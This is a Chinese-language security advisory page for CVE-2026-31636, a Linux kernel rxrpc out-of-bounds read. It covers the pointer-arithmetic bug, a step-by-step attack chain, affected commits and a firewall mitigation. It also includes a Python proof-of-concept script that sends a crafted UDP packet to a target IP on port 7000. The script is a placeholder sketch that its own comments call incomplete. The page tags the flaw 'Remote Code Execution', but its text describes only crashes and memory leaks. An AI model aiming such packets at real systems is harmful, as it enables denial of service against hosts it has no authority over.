IPBUF安全漏洞报告
English
CVE-2026-31636 CVSS 9.1 严重

CVE-2026-31636 Linux内核rxrpc越界读取漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31636
漏洞类型
越界读取
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelOOB ReadrxrpcDoSKASANRemote Code ExecutionCritical

漏洞概述

Linux内核的rxrpc模块中存在一个严重的越界读取漏洞。该漏洞源于rxgk_verify_authenticator函数在计算解析器限制时发生了指针运算错误,导致处理特制的RESPONSE authenticator时可能读取超出分配缓冲区的内存。未经认证的攻击者可通过发送恶意网络数据包利用此漏洞,造成内核崩溃或敏感信息泄露。

技术细节

漏洞位于net/rxrpc/rxgk.c文件的rxgk_verify_authenticator函数中。该函数首先复制auth_len字节的数据到临时缓冲区,随后将p + auth_len作为解析器极限传递给rxgk_do_verify_authenticator函数。关键问题在于p被定义为__be32 *类型,因此指针运算p + auth_len实际上使指针向前移动了auth_len * 4个字节,而非预期的auth_len字节。这种计算错误导致解析器的结束指针远超实际分配的kmalloc缓冲区边界。当接收到格式错误的RESPONSE authenticator时,内核会读取越界数据,触发KASAN(Kernel Address SANitizer)slab-out-of-bounds报错,可能导致系统崩溃(DoS)或内存信息泄露。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行了包含漏洞代码的Linux内核版本,并且启用了rxrpc模块(通常用于AFS或Kerberos相关通信)。
STEP 2
构建恶意数据包
攻击者构造特制的网络数据包,其中包含一个格式错误的RESPONSE authenticator。关键在于设置特定的auth_len字段以触发指针运算错误。
STEP 3
发送数据包
攻击者通过UDP协议将恶意数据包发送给目标系统的rxrpc服务端口。
STEP 4
触发漏洞
目标内核接收数据包并调用rxgk_verify_response函数。在解析过程中,由于指针运算错误(p + auth_len 被误算),处理器读取了超出缓冲区范围的内存。
STEP 5
影响实现
越界读取触发KASAN检测机制导致内核崩溃(DoS),或者在某些配置下导致内核内存信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct """ CVE-2026-31636 PoC Concept Target: Linux Kernel with vulnerable rxrpc module Description: This script attempts to trigger the OOB read by sending a crafted RXRPC packet with a specific authenticator length that exploits the pointer arithmetic bug. Note: This requires a target environment listening for RXRPC connections. """ def send_exploit_packet(target_ip, target_port): # Create a UDP socket (RXRPC often runs over UDP) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: # Constructing a minimal RXRPC packet structure (Conceptual) # The vulnerability relies on the auth_len field in the authenticator. # We set auth_len such that p + auth_len (where p is __be32*) exceeds the buffer. header = b"\x00" * 20 # Simplified RXRPC header placeholder # Let's assume we want to trigger the bug with an auth_len that is valid in bytes # but causes OOB when multiplied by 4. # The bug is in rxgk_verify_authenticator -> rxgk_do_verify_authenticator limit check. # Malformed payload construction # The specific bytes to trigger the rxgk path would require a valid handshake context. # This payload represents the 'authenticator' data structure. auth_len = 20 # 20 bytes allocated # If the parser treats the limit as p + 20 (words), it expects 80 bytes. # If we send less than 80 bytes but the parser reads ahead, it crashes. payload = header payload += struct.pack("!I", auth_len) # Length field payload += b"A" * 16 # Some padding/data # Send packet sock.sendto(payload, (target_ip, target_port)) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "192.168.1.100" TARGET_PORT = 7000 send_exploit_packet(TARGET_IP, TARGET_PORT)

影响范围

Linux Kernel < commit 20a188775a9a9982d1987e12660d9b44b40a6c99
Linux Kernel < commit 3e3138007887504ee9206d0bfb5acb062c600025
Linux Kernel < commit 7875f3d9777bd4e9892c4db830571ab8ac2044c0

防御指南

临时缓解措施
建议立即应用官方提供的内核补丁。在补丁应用前,可通过防火墙规则阻断非受信任来源对RXRPC相关服务端口(通常为UDP 7000端口或AFS相关端口)的访问,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表